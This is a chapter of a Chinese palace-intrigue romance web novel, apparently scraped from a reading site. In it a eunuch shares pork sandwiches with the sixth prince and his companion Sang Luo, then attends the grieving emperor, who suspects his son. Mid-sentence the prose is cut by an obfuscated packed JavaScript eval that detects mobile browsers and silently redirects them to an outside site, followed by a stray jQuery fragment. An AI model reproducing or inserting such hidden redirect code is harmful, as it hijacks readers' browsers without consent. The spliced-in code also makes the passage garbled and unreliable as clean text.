许公公再次造访的时候,宫琰辰已经一个人吃掉三个腊汁肉夹馍了。
肉还是黑猪的肘子肉,昨日刚猎到的,现杀现炖,老香了。
宫琰辰吃得满嘴流汁,稀罕得不行。
许公公看得连请安的方式都临场改词了——
“呦!吃什么殿下呢,早膳?”
宫琰辰:“??”
桑落:“???”
这家伙,激动得嘴瓢了。
“老奴该死。”许公公轻拍了下自己嘴巴,赶紧请罪道:“这么大话了,连人都不会说。”
宫琰辰:“……”
桑落:“…………”
气氛有那么一丢丢尴尬,许公公瞥了眼桌子上的腊汁肉夹馍,不知道接下来该说什么好。
这时候桑落就体现出自己情商高的一面了。
她将华夏文明热情好客的礼节发挥到了极致,站起身来忙招呼许公公:“公公快坐下一起吃点吧。”
“这怎么好意思呢?”
说着不好意思,坐下的倒挺快。
宫琰辰默默夹起两个肉夹馍放到自己前面的空碗里,手疾眼快占住了,还要再夹第三个,被桑落一筷子敲到了手上。
没出息样儿。
这黑猪的肘子肉多,桑落一下子做了二十来个,就算许公公来一趟就连吃带拿的也绝对够吃,至于这么小家子气吗?
“不知公公此次前来,为了何事?”
趁着许公公连声称赞肉夹馍好吃,戒备心最低的时候,桑落决定先套套话。
“还不是为着昨日之事吗?二皇子殿下那边呀,嗨,你们也听说了吧?情况不大好,陛下为着这事正发愁呢,想着宣六皇子殿下前去问问当时的状况,看看可有异样之处。”
说完,还看了一眼一旁的宫琰辰。
宫琰辰一脸无辜地抬起头,嘴里还叼着半个肉夹馍,眼神纯粹茫然,主打的就是一副弱小无助但能吃的做派。
任谁也无法将坏事算到他的头上。
许公公也觉得这不可能。
倒不是吃人家的嘴短,绝对不是。
这小皇子自幼在冷宫长大,从未接触过这些尔虞我诈勾心斗角,平日里那副人畜无害的样子大家又是看在眼里的,这一上午的功夫,说他谋害二皇子没人信,说二皇子谋害六皇子,结果一没留神遭到反噬倒是信的人不少。
等到三人吃饱喝足,老皇帝都在那边巴巴等了一炷香的时间了。
许公公和桑落一左一右跟那哄着宫琰辰,小皇子坐在床榻上吭吭唧唧的,一会儿说腿酸一会儿说脚肿,非要桑落陪着他才肯去。
许公公求助着看向桑落,觉得这事还得她出马。
桑落轻叹一声。
“公公您先去给陛下回话吧,殿下这边更衣后便会去面圣。”
许公公一听,笑得眼睛都没了,忙“唉唉”应了下来,生怕晚一点又生变故。
“姐姐,我真的不想去。”许公公前脚刚离开,宫琰辰便开始肆无忌惮地耍赖,“父皇明显对我心生猜忌,我什么都没有做,为何要去面对他的无端质疑?”
桑落从携带的行礼里面找出一身未上过身的常服丢给宫琰辰,宫琰辰慢吞吞站起身换上,嘴巴噘得都能挂油壶了。
“正是因为有怀疑,才更要努力证明自己的清白,若是听之任之,不久便会生出闲言碎语,真到那时候,你有理都要说不清了。”
“我何曾畏惧过闲言?”
“君子不立于危墙之下,三人成虎的道理你总听过吧?”
宫琰辰展平双臂,任由桑落给他佩戴上一条翡翠玉带,他悄悄比了比,嗯,又比姐姐高了一些,之前还在鼻尖的位置,现在已经到了下巴了。
眼底的笑意更浓了一些,连带着整张脸都更见神采。
“喂!你到底有没有在听啊?”
“在听,不过那些我都不在意。”宫琰辰落下双臂,顺势抓住桑落的手,神色认真地说道:“我只要姐姐相信我就够了。”
桑落被那目光吸进了漩涡,一时间有些怔楞,到底是什么时候,宫琰辰看她的目光里竟有了些看不懂的,却又深邃浓烈的情绪呢?
“姐姐,你信我吗?”
得不到回答的小皇子像是没有讨到糖果的孩子,湿漉漉的眼睛里满是失落。
“我……相信你,当然相信你了。”
宫琰辰展颜一笑,风雪消散,如清风拂过面庞,暖阳倾泻人间,叫人情难自禁,此情绵长。
要死,这崽子,男神光环太盛,这谁能扛得住啊?
…………
御帐之内,老皇帝肉眼可见得苍老憔悴了很多。
不到两年的时间内,一个儿子贬为庶人流放边境,一个儿子□□后宫任其自生自灭,一个儿子谋反当众乱箭射杀,还有一个儿子去除皇籍永守皇陵。
如今唯二的两个儿子中,又有一个截去双腿得了癔病,这叫老皇帝如何能够接受?
虽说老皇帝早已有意让宫琰辰承继大统,但为君之者,从不会将自己的筹码放在一个篮子里——
我可以选择你,但你绝对不能是我唯一的选择。
再者说了。
老皇帝捏了捏眉心。
最近发生的这些事,老六他当真无辜吗?
许公公进来回话的时候,老皇帝正倚在龙椅上,眯着眼睛不知想些什么。
他不敢打断老皇帝的思路,只能默默走到跟前站在一旁,随时候命。
“什么味道?”
许公公刚刚站稳,那边老皇帝蹭得一下坐直了。
“老奴该死,扰了陛下清思。”
“无碍,也没想什么。”老皇帝看清楚来人,又恢复了那坐没坐相的姿势,“你手上是什么东西?”
“回陛下,是方才老奴去传旨,看到六皇子殿下正用早膳,据说是桑落那孩子做的新品,叫做腊汁肉夹馍,取昨日猎来的黑猪肘子炖的软烂,再用酥脆的饼夹上淋了汁的肉沫,老奴瞧着味道着实不错,就给陛下拿了些过来,陛下可要尝尝看?”
“罢了,孤没胃口。”老皇帝兴致恹恹地说道。
“是老奴考虑不周,请陛下恕罪。”
也是,人家亲儿子又是断腿又是癔症,哪家心大的父亲还有胃口吃东西啊?
许公公懊恼地直想抽自己两巴掌。
自己做了几十年的内侍总管,怎么老了老了,这点儿眼力价都没有了。
也怪他,一辈子没做过父亲,未曾将心比心地考虑到老皇帝的心情,这才老马失前蹄,马屁拍到了痛处,幸好陛下不怪罪,不然他这晚节不保,倒叫手底下人瞧笑话了。
许公公使了个眼色,一旁伺候笔墨的小太监赶紧上前,接过许公公手里的食盒,就要拿下去。
“干什么去?”
老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297023|130400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皇帝虽然没什么精神,但眼睛尖着呢,立马就发现了下面人的小动作。
“陛下您没胃口吃这些油腻物,老奴叫他们下去换些清粥,您好歹吃一些东西,再难过也别损伤龙体啊。”
“谁要吃清粥?这东西先拿下去温着,过一会儿孤要就赶紧给孤拿回来。”
得,白跟他瞎操心。
“对了,老六呢?”
“六殿下正在更衣,稍后便来。”
“许培成,你跟在孤身边多少年了?”
“回陛下,老奴九岁便跟在陛下身边伺候,如今已有三十七个年头了。”
“居然这么久了?跟在孤身边见惯了风风雨雨,难怪他们私底下说你是个有见识的。”
“老奴惶恐。”许公公闻言“噗通”一下跪在了地上,紧张地连头都不敢抬。
这话听着不难听,但要从一个城府极深,还掌管生杀大权的顶头上司口中说出来,那意义可就不一样了。
轻点儿的说是你心思深重,懂得收买底下人的心,若是往高了说,那可就是心怀不轨,有了不臣之心。
也难怪许公公会惊慌到腿软。
“老奴如今所有的一切都是陛下所赐,老奴对陛下忠心耿耿绝无二心啊陛下。”
“……起来吧,孤又没有说你什么。”
许公公不敢起来,这老皇帝的心思还没猜到点儿上,说不好今天便要大难临头,还是态度放端正一点,有错先认错,没错就唱唱高调,先把老皇帝哄好了再见机行事吧。
“陛下英明睿智,世人远不能及,若是老奴有做的不妥当的地方,还请陛下您提点着点儿。”
“老东西,胆子越来越大,居然敢在孤这里套话。”老皇帝笑着骂了句,脸色倒是好看了不少。
“老奴不敢。”许公公暗暗松了口气,“老奴说的是心里话,如今这天下四海升平,百姓安居乐业,周围的那些小国无不臣服于我云起,这都是陛下您勤政爱民的功劳。”
“可孤还是老了。”老皇帝长叹一声,有些无奈和掌控不住局面的无力感,“你们整日里都说孤是万岁,听久了难免会有一种错觉,真以为孤能够活上万年,永远不老,永远坐在这个位置上,受万民敬仰,享至高尊崇。”
“可孤有的时候又在想,若真能活个千年万年,看着身边的人一个个消失不见,又何尝不是一种孤家寡人的悲凉。”
就像他曾经为了巩固皇权,眼睁睁看着自己挚爱死在怀中却又无能为力,那种痛彻心脾的经历,哪怕过去十几年,依旧能够在午夜梦回时让他辗转反侧,刺痛他那看似无悲无喜的心。
这些事,许公公都是看在眼里的。
当年老皇帝大龄继位,手中掌控的实权并不多,为了铲除庄妃的父亲安国公,不得不冒险利用了燕贵妃,间接造成了燕贵妃血崩惨死,后来因为怨恨燕贵妃为了逃离他宁愿一死,更是因为愧疚无法面对年幼丧母的宫琰辰,所以把他丢在冷宫里不管不问了这么多年。
丧失所爱,错失天伦之乐,这些在普通百姓家最是寻常不过的事,却是世人眼中至高无上的帝王日夜要承受的苦楚。
许公公哀叹,人生在世,谁又活得容易呢?
老皇帝半眯着眼,眼前过眼云烟般回顾了这些年的经历,悲伤够了,矫情够了,突然话锋一转,看着门外问道——
“许培成,你说老二这件事,究竟是不是老六做的?”